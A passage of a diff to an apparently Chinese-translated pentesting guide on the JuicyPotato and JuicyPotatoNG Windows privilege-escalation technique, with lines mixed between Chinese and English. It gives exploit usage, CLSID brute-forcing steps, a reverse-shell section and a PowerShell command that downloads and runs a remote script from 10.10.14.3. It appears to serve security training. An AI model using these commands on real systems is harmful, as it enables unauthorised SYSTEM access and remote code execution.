127.0.0.1:6666 监听器。 -- 使用 SSPI hook 捕获并模拟入站的 SYSTEM 认证,而无需 RpcImpersonateClient,这也使得在仅存在 SeAssignPrimaryTokenPrivilege 时能够使用 CreateProcessAsUser。 -- 满足 DCOM 激活约束的技巧(例如,针对 PrintNotify / ActiveX Installer Service classes 时之前的 INTERACTIVE-group 要求)。 +- 将 DCOM OXID 解析到所选端口的本地 RPC 服务器,避免使用旧的硬编码 127.0.0.1:6666 监听器。 +- 一个 SSPI hook,用于捕获并模拟传入的 SYSTEM 认证,而无需 RpcImpersonateClient,这也在仅存在 SeAssignPrimaryTokenPrivilege 时启用了 CreateProcessAsUser。 +- 用于满足 DCOM 激活约束的技巧(例如,针对 PrintNotify / ActiveX Installer Service 类时此前的 INTERACTIVE 组要求)。 -重要说明(随各版本行为演变): -- 2022 年 9 月:初始技术使用 “INTERACTIVE trick” 在受支持的 Windows 10/11 和 Server 目标上有效。 -- 2023 年 1 月作者更新:Microsoft 随后阻止了 INTERACTIVE trick。不同的 CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) 恢复了利用,但根据他们的帖子仅在 Windows 11 / Server 2022 上有效。 +重要说明(不同版本行为会演变): +- September 2022: Initial technique worked on supported Windows 10/11 and Server targets using the “INTERACTIVE trick”. +- January 2023 update from the authors: Microsoft later blocked the INTERACTIVE trick. A different CLSID ({A9819296-E5B3-4E67-8226-5E72CE9E1FB7}) restores exploitation but only on Windows 11 / Server 2022 according to their post. -Basic usage (more flags in the help): +基本用法(更多参数见帮助): ``` JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" # Useful helpers: @@ -104,11 +104,11 @@ JuicyPotatoNG.exe -t * -p "C:\Windows\System32\cmd.exe" -a "/c whoami" # -s Scan for a COM port not filtered by Windows Defender Firewall # -i Interactive console (only with CreateProcessAsUser) ``` -如果你的目标是已对经典 JuicyPotato 修补的 Windows 10 1809 / Server 2019,优先使用顶部链接的替代方案(RoguePotato、PrintSpoofer、EfsPotato/GodPotato 等)。NG 的效果可能视具体的构建版本和服务状态而定。 +如果你的目标是 Windows 10 1809 / Server 2019,并且 classic JuicyPotato 已被修补,建议优先使用顶部链接的替代工具(RoguePotato、PrintSpoofer、EfsPotato/GodPotato 等)。NG 可能因构建版本和服务状态而有不同表现。 ## 示例 -注意:访问 [this page](https://ohpe.it/juicy-potato/CLSID/) 获取可尝试的 CLSID 列表。 +Note: Visit [this page](https://ohpe.it/juicy-potato/CLSID/) for a list of CLSIDs to try. ### 获取 nc.exe reverse shell ``` @@ -123,17 +123,17 @@ Testing {4991d34b-80a1-4291-83b6-3328366b9097} 1337 c:\Users\Public> ``` -### Powershell 反向 +### Powershell rev ``` .\jp.exe -l 1337 -c "{4991d34b-80a1-4291-83b6-3328366b9097}" -p c:\windows\system32\cmd.exe -a "/c powershell -ep bypass iex (New-Object Net.WebClient).DownloadString('http://10.10.14.3:8080/ipst.ps1')" -t * ``` -### 启动一个新的 CMD(如果你有 RDP 访问) +### 启动新的 CMD(如果你有 RDP 访问) ![](<../../images/image (300).png>) ## CLSID 问题 -通常 JuicyPotato 使用的默认 CLSID **不起作用**,exploit 会失败。通常需要多次尝试才能找到一个**有效的 CLSID**。要获取针对特定操作系统的 CLSID 列表,请访问此页面: +通常,JuicyPotato 使用的默认 CLSID **不起作用**,漏洞利用会失败。通常需要多次尝试才能找到一个 **可用的 CLSID**。要获取针对特定操作系统可尝试的 CLSID 列表,请访问此页面: - [https://ohpe.it/juicy-potato/CLSID/](https://ohpe.it/juicy-potato/CLSID/) @@ -141,13 +141,13 @@ c:\Users\Public> 首先,除了 juicypotato.exe,你还需要一些可执行文件。 -下载 Join-Object.ps1 并将其加载到你的 PS 会话中,然后下载并执行 GetCLSID.ps1。该脚本会生成一个可供测试的 CLSID 列表。 +下载 [Join-Object.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/utils/Join-Object.ps1) 并将其加载到你的 PS 会话中,然后下载并执行 [GetCLSID.ps1](https://github.com/ohpe/juicy-potato/blob/master/CLSID/GetCLSID.ps1)。该脚本会生成一个要测试的可能 CLSID 列表。 -然后下载 [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(修改到 CLSID 列表和到 juicypotato 可执行文件 的路径) 并执行它。它会开始尝试每个 CLSID,**当端口号改变时,表示该 CLSID 生效**。 +然后下载 [test_clsid.bat ](https://github.com/ohpe/juicy-potato/blob/master/Test/test_clsid.bat)(更改指向 CLSID 列表和 juicypotato 可执行文件 的路径)并执行它。它会开始尝试每个 CLSID,**当端口号改变时,表示该 CLSID 生效**。 -**使用参数 -c 检查有效的 CLSID** +**检查** 可用的 CLSID **使用参数 -c** -## References +## 参考资料 - [https://github.com/ohpe/juicy-potato/blob/master/README.md](https://github.com/ohpe/juicy-potato/blob/master/README.md) - [Giving JuicyPotato a second chance: JuicyPotatoNG (decoder.it)](https://decoder.cloud/2022/09/21/giving-juicypotato-a-second-chance-juicypotatong/)